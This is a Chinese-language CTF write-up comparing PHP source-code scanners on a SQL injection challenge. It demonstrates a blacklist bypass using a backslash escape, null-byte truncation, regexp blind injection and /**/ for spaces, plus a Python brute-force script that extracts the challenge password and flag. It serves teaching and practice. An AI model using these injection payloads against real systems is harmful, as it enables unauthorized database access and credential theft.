源代碼掃描效果查看

| 1XSS+1SQL注入 |
Seay | 無 |
Fortify | 2SQL注入+2XSS+3敏感數據泄漏 |
總的來看,我們可以知道面對SQL注入這種語法層面的漏洞特征,seay是無力的,它的特征都是針對特定的函數名的。因此在這一道主要重點考察SQL注入漏洞的CTF賽題的時候,seay顆粒無收。而rips和fortify都發現了SQL注入漏洞特征,其主要依據是SQL語句中包含有$_GET,$_POST所提交的數據。
接下來我們來看一下源碼

可以看到下面一部分,在進行SQL請求的時候,將$_GET,$_POST所提交的數據直接拼接成SQL,因此這里肯定有SQL注入漏洞。但是在請求之前,通過black_list黑名單列表,對請求的參數值進行的檢查。如果請求的數據包含有黑名單數據,那么就直接退出。因此這里主要考察的就是SQL注入的繞過問題。
其中黑名單為,不區分大小寫,后臺為MySQL數據庫。
/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
當我們輸入特征時,就會出現下面的報錯

我們在本地簡單調試一下,當輸入username=123&passwd=123時

最終構成的SQL語句如下
"select * from users where username='123' and passwd='123'"
由于這里單引號在黑名單里,因此這里如果想要形成拼接的話,只有在username處輸入為\,使得第二個單引號被轉義,從而在SQL語句層面中變成一個查詢字符。

如果沒有轉義符號,會構成SQL層面的語法錯誤

到這里我們可以形成,大致如下的SQL語句,其中紅色部分會被認為是一個字符串,并作為username的值。
"select * from users where username='123\' and passwd='123'"
但是這里由于有3個單引號,SQL語法上還是有問題的,因此需要將最后字符字符處理掉,使其不在整個SQL語句的邏輯中。這里可以通過%00進行截斷
可以看到,最后空字節%00成功隔絕了最后一個單引號,使得SQL語法不會報錯。

這里我們注意,即使黑名單里有%00,但是%00會轉成空字節,在進入index.php時,已經被轉為空字節,所以不會匹配到黑名單

根據最后的代碼邏輯,當我們輸入的密碼和數據庫內的密碼相同,就會將flag給打印出來,因此這里我們就需要利用SQL注入獲取admin的密碼

由于有黑名單過濾,這里可以通過regexp進行正則匹配注入,不斷的去探測字符。

例如當想要探測用戶名時,就可以通過正則不斷匹配前面字符,當匹配到時,返回1,沒匹配到,返回0
select user() regexp '^r'


同理這里就可以構造passwd字段的值為||passwd regexp "^r";%00
然后不斷修改'^r'對應的字符,從而獲取passwd的值,另外這里將空格也過濾掉了,通過注釋符進行繞過,得到||passwd/**/regexp/**/"^r";%00

最終得到

當passwd/**/regexp/**/"^r";%00 為0時,顯示為空,最終會打印<script>alert(\"try to make the sqlquery have its own results\")</script>


而當||passwd/**/regexp/**/"^y";%00為1時,顯示真實的賬號密碼

從而跳轉到welcome.php頁面。
根據這個特性,最終編寫腳本進行自動化發現
import requests
import time
import string
url = "http://9b6213b7-4b4b-425b-8083-b30bb81d996c.node4.buuoj.cn:81/"
str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits
payload = ''
for n in range(100):
print(n)
for i in str_list:
data = {'username':'\\', 'passwd':'||passwd/**/regexp/**/"^{}";\x00'.format(payload+i)}
res = requests.post(url = url, data = data)
if 'welcome.php' in res.text:
payload += i
print(payload)
break
elif res.status_code == 429:
time.sleep(1)

得到密碼為you_will_never_know7788990
回到登錄框,輸入賬號密碼,賬號隨意,密碼為you_will_never_know7788990

最終得到flag為
flag{f3fb8909-fd48-4ae0-8978-adcd84175f0e}